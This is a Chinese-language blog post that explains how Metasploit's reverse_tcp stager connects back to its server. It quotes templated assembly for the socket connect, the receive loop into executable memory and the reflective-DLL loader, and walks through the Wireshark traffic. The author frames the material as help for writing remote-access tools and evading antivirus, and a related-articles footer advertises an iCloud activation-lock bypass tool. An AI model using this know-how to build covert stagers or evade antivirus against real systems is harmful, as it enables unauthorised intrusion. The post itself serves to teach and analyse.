从0到1了解metasploit上线原理

在渗透的过程中拿到权限后通常会进行上线cs/msf的操作,我们了解上线的原理后,无论是对编写远控,还是绕过杀软帮助都很大。

前言

在渗透的过程中拿到权限后通常会进行上线cs/msf的操作,我们了解上线的原理后,无论是编写远控,还是绕过杀软对我们帮助都很大。

本文会解读metasploit中的代码,详细的解释上线过程/原理。

载荷分类

metasploit中有以下三种载荷。

  • singles:实现某种功能的载荷,如弹计算器,弹窗......这种载荷不与metasploit建立链接

  • stager:使用msfvenom生成的shellcode,功能是链接metasploit并接收msf发送过来的载荷

  • stage:stager拉取的载荷,它实现了metasploit中的meterpreter功能

在msf中stage通常指,名字是meterpreter的文件,后缀可以是dll php py jar,比如图中圈起来的meterpreter.x86.dll meterpreter.jar......

图片

shellcode功能

图片


msfvenom生成的reverse_tcp 的shellcode其实就是一个stager,这段shellcode负责链接metasploit服务端,然后接收服务端发送的stage并加载,这个stage才是实现meterpreter的载荷。

下面我们来分析一下reverse_tcp.rb文件中的汇编代码,这些汇编代码可以理解为reverse_tcp shellcode的汇编状态。
文件路径:\lib\msf\core\payload\windows\

需要注意的是,这个文件在上线中没有任何作用,修改或者删除此文件中的汇编代码并不会对上线的过程造成任何影响。

我们主要关注以下是三个函数:generate_reverse_tcp asm_reverse_tcp asm_block_recv

图片

generate_reverse_tcp函数

先看一下这几行汇编

call start ; Call start, this pushes the address of 'api_call' onto the stack. 
#{asm_block_api} start: pop ebp//将asm_block_api函数地址放到ebp中 
#{asm_reverse_tcp(opts)}//与metasploit建立连接 
#{asm_block_recv(opts)}//接收发送的metsrv.dll

call startasm_block_api函数的地址压入堆栈,接着执行了start:下面的代码,pop ebp是将asm_block_api函数的地址放到了ebp寄存器中。

asm_block_api函数的功能是根据函数的名称找到函数地址

asm_reverse_tcp函数

图片

reverse_tcp: push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. 
    push 'ws2_' ; ... 
    push esp ; Push a pointer to the "ws2_32" string on the stack. 
    push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} 
    mov eax, ebp 
    call eax ; 
    LoadLibraryA( "ws2_32" ) 
    mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) 
    sub esp, eax ; alloc some space for the WSAData structure 
    push esp ; push a pointer to this stuct 
    push eax ; push the wVersionRequested parameter 
    push #{Rex::Text.block_api\_hash('ws2_32.dll', 'WSAStartup')} 
    call ebp ; WSAStartup( 0x0190, &WSAData );

先看一下reverse_tcp的汇编,首先push了几个参数。

在第5行先调用了block_api_hash得到了LoadLibraryA函数的地址,接着将LoadLibraryA函数的地址压入了堆栈,然后调用了asm_block_api函数。

此函数调用LoadLibraryA加载了ws2_32这个dll,为下面使用socket链接metasploit做准备。
从第9行开始,就是往堆栈中压入了一些参数,接着又调用了WSAStartup函数初始化了网络库。

下面这些汇编主要是压入了一些参数,接着在第15行调用了WSASocketA函数创建了一个套接字,接着把套接字存储到了edi中

create_socket: 
    push #{encoded_host} ; host in little-endian format 
    push #{encoded_port} ; family AF_INET and port number 
    mov esi, esp ; save pointer to sockaddr struct 
    push eax ; if we succeed, eax will be zero, push zero for the flags param. 
    push eax ; push null for reserved parameter 
    push eax ; we do not specify a WSAPROTOCOL_INFO structure 
    push eax ; we do not specify a protocol inc eax ; 
    push eax ; push SOCK_STREAM 
    inc eax ; 
    push eax ; push AF_INET 
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} 
    call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );//创建了socket,为连接服务器做准备 
    xchg edi, eax ; save the socket for later, don't care about the value of eax after this

接着在第7行调用了bind函数,绑定了传入的socket结构体中的ip与端口

push #{encoded_bind_port} ; family AF_INET and port number 
mov esi, esp ; save a pointer to sockaddr_in struct 
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used) 
push esi ; pointer to the sockaddr_in struct 
push edi ; socket 
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} 
call ebp ; bind( s, &sockaddr_in, 16 ); 
push #{encoded_host} ; host in little-endian format 
push #{encoded_port} ; family AF_INET and port number 
mov esi, esp

接着又调用了connect函数链接metasploit,如果eax中的值为0那么代表链接成功.

push 16 ; length of the sockaddr struct 
push esi ; pointer to the sockaddr struct 
push edi ; the socket 
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} 
call ebp ; connect( s, &sockaddr, 16 ); 
test eax,eax ; non-zero means a failure 
jz connected 
handle_connect_failure: 
    ; decrement our attempt count and try again 
    dec dword [esi+8] 
    jnz try_connect

asm_reverse_tcp函数中的汇编,大致有以下功能:加载socket相关dll,创建socket,绑定ip和端口,链接metasploit。就是做一些接收stage前的工作,为调用asm_block_recv接收stage做准备。

asm_block_recv函数

图片

首先调用recv函数接收msf发送过来的4字节数据,这4字节数据代表了即将发送过来的载荷的总大小。

push 0 ; flags 
push 4 ; length = sizeof( DWORD ); 
push esi ; the 4 byte buffer on the stack to hold the second stage length 
push edi ; the saved socket 
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} 
call ebp ; recv( s, &dwLength, 4, 0 );

首先压入了VirtualAlloc函数的参数,接着在第6行使用block_api_hash函数得到了VirtualAlloc函数的地址。

接着调用了VirtualAlloc函数用来申请一块具有RWX权限的内存空间,空间的大小是msf发送过来的四字节数据。

mov esi,[esi] ; dereference the pointer to the second stage length 
push 0x40 ; PAGE_EXECUTE_READWRITE 
push 0x1000 ; MEM_COMMIT 
push esi ; push the newly recieved second stage length. 
push 0 ; NULL as we dont care where the allocation is. 
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} 
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
; Receive the second stage and execute it... 
xchg ebx, eax ; ebx = our new memory address for the new stage 
push ebx ; push the address of the new stage so we can return into it

在第7行又调用了recv函数,接收msf发送过来的载荷,通过push压入的参数可以知道,是将接收到的载荷放到了刚刚申请的内存中。

需要注意的是,msf并不是一下子就把整个载荷发送了过来,而是把载荷分成了很多份分开发送的,所以下面通过cmp指令来判断是否接收完成,这里判断有没有接收完成的依据是通过,载荷的大小-接收的字节数来循环接收的。

read_more: 
    push 0 ; flags 
    push esi ; length 
    push ebx ; the current address into our second stage's RWX buffer 
    push edi ; the saved socket 
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} 
    call ebp ; recv( s, buffer, length, 0 );//recv函数的返回值会放到eax寄存器中,返回值是接收了多少字节的数据 
    cmp eax, 0//将eax与0比较,如果eax大于或等于0那么就执行jge跳转到read_successful处执行 
    jge read_successful

下面的汇编主要是判断载荷有没有接收完成,如果没有接收完成就通过jnz跳转继续调用read_more下的代码,如果接收完成就直接ret。

read_successful: 
    add ebx, eax ; buffer += bytes_received//跳过接收过得载荷的内存,因为不可能一直往一个内存地址里面塞载荷 
    sub esi, eax ; length -= bytes_received, will set flags//减去对载荷的大小 
    jnz read_more ; continue if we have more to read//如果sub esi,eax不等于0那么就执行jnz跳回read\_more继续接收,如果等于0,代表接收载荷完成,就不会跳转到read_more而是直接retn返回 
    ret ; return into the second stage

到了这里,我们已经接收到了真正的载荷了,但是现在还无法运行,因为在内存中没有人调用它,下面我们先通过wireshark来分析上线的过程,看metasploit都发过来了什么,在分析metsrv.dll是如何被调用的。

上线流量分析

服务端做好监听,wireshark做好过滤规则

图片

成功抓取到了数据包
 

图片


从下图中可以看到,我们先与metasploit建立了链接,对应上面asm_reverse_tcp函数,接着metasploit向我们发送了一个Len为4的数据包,此数据包中的数据代表载荷的总大小。

数据包中的数据,是0x2be43,因为数据包中的数据是按照小端存储的方式存储的,所以需要转换一下。

图片

0x2be43=179779(十进制),这个值对应了metasploit向我们发送的载荷大小。

图片

接着看后面的数据包,从图中可以看到,msf向我们发送了stage的开头,上面提到过msf不会一次性将整个stage发送过来,所以从图中可以看到metasploit一直在发送数据。

图片


我们来看下接收完成后,是如何调用stage的

stage执行过程

stage是通过reflective dll(反射式注入)技术调用的,因为是上线原理所以不会涉及到此技术原理。

meterpreter_loader.rb文件中的汇编用于调用stage,我们看一下这个文件

图片

def stage_meterpreter(opts={}) 
    # Exceptions will be thrown by the mixin if there are issues. 
    dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))//得到ReflectiveLoader函数的偏移 
    asm_opts = { 
        rdi_offset: offset, 
        length: dll.length, 
        stageless: opts[:stageless] == true
    } 
    asm = asm_invoke_metsrv(asm_opts) 
    # generate the bootstrap asm 

    bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string 

    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry 
    if bootstrap.length > 62 
        raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" 
    end 

    # patch the bootstrap code into the dll's DOS header... 
    dll[ 0, bootstrap.length ] = bootstrap dll end
    dll 
end

来看一下下面的代码。

此函数功能:读取dll,接着调用parse_pe函数得到ReflectiveLoader函数的偏移,在第11行返回了dll的数据与函数的便宜。

parse_pe函数通过遍历dll的导出表得到名字是ReflectiveLoader函数的偏移

def load_rdi_dll(dll_path) 
    dll = '' 
    ::File.open(dll_path, 'rb') { |f| dll = f.read } 
    offset = parse_pe(dll) 
    unless offset 
        raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" 
    end 

    return dll, offset 
end 

def parse_pe(dll) 
    pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) 
    offset = nil 

    pe.exports.entries.each do |e| 
        if e.name =~ /^\\S\*ReflectiveLoader\\S\*/ 
        offset = pe.rva_to_file_ofset(e.rva) 
        break 
    end 
end 
    offset 
end

我们看一下asm_invoke_metsrv函数,这个函数调用了ReflectiveLoader函数,接着定位到了stages结束的地址。

图片

dec ebp ; 'M'//无效代码 
pop edx ; 'Z'//无效代码 
call $+5 ; call next instruction 
pop ebx ; get the current location (+7 bytes) 
push edx ; restore edx 
inc ebp ; restore ebp 
push ebp ; save ebp for later 
mov ebp, esp ; set up a new stack frame 
; Invoke ReflectiveLoader() 
; add the offset to ReflectiveLoader() (0x????????) 

add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} 
call ebx ; invoke ReflectiveLoader() 
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) 
; offset from ReflectiveLoader() to the end of the DLL 

add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

前两行的代码,没什么实际功能,只是为了stages能被识别为pe文件,因为这两个汇编的字节码是0x4d 0x5a对应pe结构中的MZ

pop ebx将当前地址放到了ebx中,下面几行是恢复被修改的寄存器,保存栈底和提升栈顶

add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}//基地址+偏移=真正函数地址 
call ebx ; invoke ReflectiveLoader() 
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) 
; offset from ReflectiveLoader() to the end of the DLL 
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

先说一下call 后面的地址是怎么来的,call 地址=目标地址-call下一条指令地址

来看下这个指令add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)},代码中的rdi_offset是ReflectiveLoader函数的偏移地址。

这句汇编通过基地址+偏移得到真正的ReflectiveLoader函数地址,准备调用,这里说下为啥-7。

现在ebx中是pop ebx的地址,在pop ebx前面还有三条指令 dec ebp,pop edx,call $+5,这三条指令加到一起的长度是7个字节。

而要得到一个函数的地址应该是基地址+偏移,在这里的代码中,真正的基地址应该是dec ebp这里,而不是pop ebx这里,dec ebp的地址+ReflectiveLoader函数的偏移才是真正的ReflectiveLoader函数地址,而不是pop ebx的地址+ReflectiveLoader的偏移,所以pop ebx的地址要-7个字节回到dec ebp这里。

图片


接着调用了 call ebx执行了ReflectiveLoader函数,ReflectiveLoader函数主要是解析dll的pe信息,并根据这些信息重新把dll写入到内存中,然后修复dll的各种表,修复完成后会使用DLLMETASPLOIT_ATTACH调用dllmain函数,接着会把dllmain函数地址返回到eax寄存器中。

add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}这行主要是定位到dll结束的地址,因为length是dll的总大小,它-reflectiveLoader函数的偏移就得到了剩余部分的大小,接着又让ebx+剩余部分大小=dll结束地址

mov [ebx], edi ; write the current socket/handle to the config//保存socket句柄到ebx的地址中 
push ebx ; push the pointer to the configuration start 

push 4 ; indicate that we have attached 

push eax ; push some arbitrary value for hInstance 

call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

metasploit发送载荷时会发送3部分数据

  • 载荷的总大小

  • stage

  • 配置数据

配置数据是与stage连在一起的。

现在ebx指向的是stagel结束的地址,第一行也就是将edi的值放到了配置结构中。

下面几行代码就是传入参数,接着在第5行调用了DLLMain函数。

现在stage就开始运行了。

但是在meterpreter_loader.rb这个文件中,还没有结束,我们继续看。

图片

asm = asm_invoke_metsrv(asm_opts)//返回了上面asm_invoke_metsrv函数中的汇编 
# generate the bootstrap asm 
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string//生成引导代码 
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry 
if bootstrap.length > 62 
    raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" 
end 

# patch the bootstrap code into the dll's DOS header... 

dll[ 0, bootstrap.length ] = bootstrap//替换原有的dos头

主要是生成了一段bootstrap(引导代码),接着在12行使用生成的引导代码替换掉了stages的dos头。

手写Stager替代shellcode

上面已经把msfvenom生成的shellcode干了什么给搞清楚了,现在咱们来手写一个Stager,这样也是有一定的免杀效果的,因为在我们编写的Stager中是没有shellcode存在。

文章链接

总结

文章主要通过分析metasploit代码与流量分析,解释了metasploit中reverse_Tcp的shellcode的上线过程,接着用c语言实现了一个stager,文章内容比较基础,而且难免会有错误,请各位师傅斧正。如果有不清楚的地方欢迎私信骚扰。

参考

  • https://github.com/rapid7/metasploit-payloads rapid7公开的metasploit的载荷源码

  • https://github.com/rapid7/ReflectiveDLLInjection 反射式dll注入

  • https://github.com/stephenfewer/ReflectiveDLLInjection

  • https://bbs.kanxue.com/thread-247616.htm

  • https://www.cnblogs.com/Akkuman/p/12859091.html

  • https://xz.aliyun.com/t/1709

来源:https://forum.butian.net/share/2481

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!(私聊进群一起学习,共同进步)

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/111911.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

服务器基础

目录 服务器介绍: 服务器定义: 服务器特点: 服务器架构: 按硬件形态的服务器分类: 华为TaiShan 200服务器的硬件结构: 服务器关键技术: IPMI协议(Intelligent Platform Manag…

Oracle数据库创建Sequence序列的基本使用

1.作用就是批量插入数据的时候可以给一个主键 sequence dose not exist_sequence not exist_拒—绝的博客-CSDN博客 Oracle创建Sequence序列_TheEzreal的博客-CSDN博客 Oracle序列(sequence)创建失败,无法取值(.nextval&#x…

【OpenCV实现图像:用Python生成图像特效,报错ValueError: too many values to unpack (expected 3)】

文章目录 概要读入图像改变单个通道黑白特效颜色反转将图像拆分成四个子部分 概要 Python是一种功能强大的编程语言,也是图像处理领域中常用的工具之一。通过使用Python的图像处理库(例如Pillow、OpenCV等),开发者可以实现各种各…

前端css介绍

CSS介绍 CSS(Cascading Style Sheet,层叠样式表)定义如何显示HTML元素。 当浏览器读到一个样式表,它就会按照这个样式表来对文档进行格式化(渲染)。 CSS语法 CSS实例 每个CSS样式由两个组成部分:选择器和…

matlab 计算Ax=b的解,解线性方程组的现成工具

只写了最简单的方式,其中b需要是列向量,用分号隔开元素; octave:7> A[1,2; 1.0001, 2;] A 1.0000 2.00001.0001 2.0000octave:8> b[3; 3.0001;] b 3.00003.0001octave:9> xA\b x 1.00001.0000octave:10> b-A*x ans 00octave:…

深入探究Vue.js生命周期及其应用场景

当谈到Vue.js的生命周期时,我们指的是组件在创建、更新和销毁过程中发生的一系列事件。了解Vue的生命周期对于开发人员来说是至关重要的,因为它们提供了一个机会来执行特定任务,并在不同的阶段处理组件。 Vue的生命周期可以分为八个不同的阶…

Tigger绕过激活锁/屏幕锁隐藏工具,支持登入iCloud有消息通知,支持iOS12.0-14.8.1。

绕过激活锁工具Tigger可以用来帮助因为忘记自己的ID或者密码而导致iPhone/iPad无法激活的工具来绕过自己的iPhone/iPad。工具支持Windows和Mac。 工具支持的功能: 1.Hello界面两网/三网/无基带/乱码绕过,可以完美重启,支持iCloud登录、有消…

关于服务端构件模型的典型解决方案

关于服务端构件模型的典型解决方案包括 适用于应用服务器的EJB模型(Sun公司J2EE的一部分)和COM模型(微软公司), 以及适用于Web服务器的servlet模型(基于Sun公司JSP技术)和Visual Basic及其他技…

uniapp leven系列原生插件(1)

目录 1.乐橙摄像机播放插件(云台对讲版) 插件介绍 插件地址 预览图片 ​编辑 2.乐橙摄像机播放插件(子账号云台对讲版) 插件介绍 插件地址 预览图片 ​编辑 3.无预览静默拍照 插件介绍 插件地址 预览图片 4.视频图片选择安卓原生插件 插件介绍 插件地址 预览图…

RoCEv2网络部署----Mellanox网卡配置

Mellanox 网卡配置RoCEv2步骤, 1. 设置RDMA CM 模式v2 cma_roce_mode -d mlx5_1 -p 1 -m 2 检查RDMA CM的RoCE模式 2. 开启 DCQCN 在priority 3 echo 1 > /sys/class/net/ens1np0/ecn/roce_np/enable/3 echo 1 > /sys/class/net/ens1np0/ecn/roce_rp/enable…

天线测试解决方案-毫米波片上天线测量系统

毫米波片上天线测量系统 方案概述: 毫米波片上天线测量系统频率范围覆盖8GHz~110GHz(可扩展至500GHz),具有频率覆盖范围宽、动态范围大、馈电形式灵活、结构紧凑、测试参数全面等特点。系统采用通用化、模块化设计思想…

生态扩展:Flink Doris Connector

生态扩展:Flink Doris Connector 官网地址: https://doris.apache.org/zh-CN/docs/dev/ecosystem/flink-doris-connector flink的安装: tar -zxvf flink-1.16.0-bin-scala_2.12.tgz mv flink-1.16.0-bin-scala_2.12.tgz /opt/flinkflink环境…

Modelsim 使用教程(2)——Basic Simulation

一、概述 在本文中,我们将介绍Modelsim基本的仿真流程,包括有: Create the Working Design Library(创建工具库) Compile the Design Units(编译设计单元) Optimize the Design(优化…

arcgis将合并(组合)要素拆分的方法

1、打开一幅图,发现两块区域被连接成一块区域,如下: 2、在可编辑状态下,进行拆分,先选中待拆分要素,如下: 3、拆分后,如下:

C++初阶 类和对象(上)

前言:C初阶系列,每一期博主都会使用简单朴素的语言将对应的知识分享给大家,争取让所有人都可以听懂,C初阶系列会持续更新,上学期间将不定时更新,但总会更的 目录 一、什么是面向对象编程 二、什么是类和如…

白银期货投资指南,轻松搞定白银投资

在今天的金融市场中,白银已成为备受瞩目的投资选择。不仅如此,白银还是避险资产的首选之一,兼具保值和增值的潜力。万洲金业将为您提供一份白银期货投资指南,让您轻松了解白银投资,助力在白银交易市场获得潜在收益。 …

mpp解码详解

解码器数据流接口 一. decode_put_packet 输入码流的形式:分帧与不分帧 MPP 的输入都是没有封装信息的裸码流,裸码流输入有两种形式: 不分帧 这种方式是已经按帧分段的数据,即每一包输入给 decode_put_packet 函数的 MppPacket 数…

Spring事务失效的几种情况及其解决方案

Spring事务失效的几种情况及其解决方案 方法权限修饰符不是public Transactional 使用的是 Spring AOP 实现的,而 Spring AOP 是通过动态代理实现的,而 Transactional 在生成代理时会判断,如果方法为非 public 修饰的方法,则不生…

皮肤渲染方法总结

一、皮肤次表面光照 HDRP用的延迟管线,镜面和散射分开进行计算 UE有透射开启和关闭的效果 (一)镜面反射 BRDF和Kelemen方法 (二)次表面散射与透射 1.散射:BRDF与BRSSDF(从反射点附近的点进行…

2023-11-01 LeetCode每日一题(参加会议的最多员工数)

2023-11-01每日一题 一、题目编号 2127. 参加会议的最多员工数二、题目链接 点击跳转到题目位置 三、题目描述 一个公司准备组织一场会议,邀请名单上有 n 位员工。公司准备了一张 圆形 的桌子,可以坐下 任意数目 的员工。 员工编号为 0 到 n - 1 。…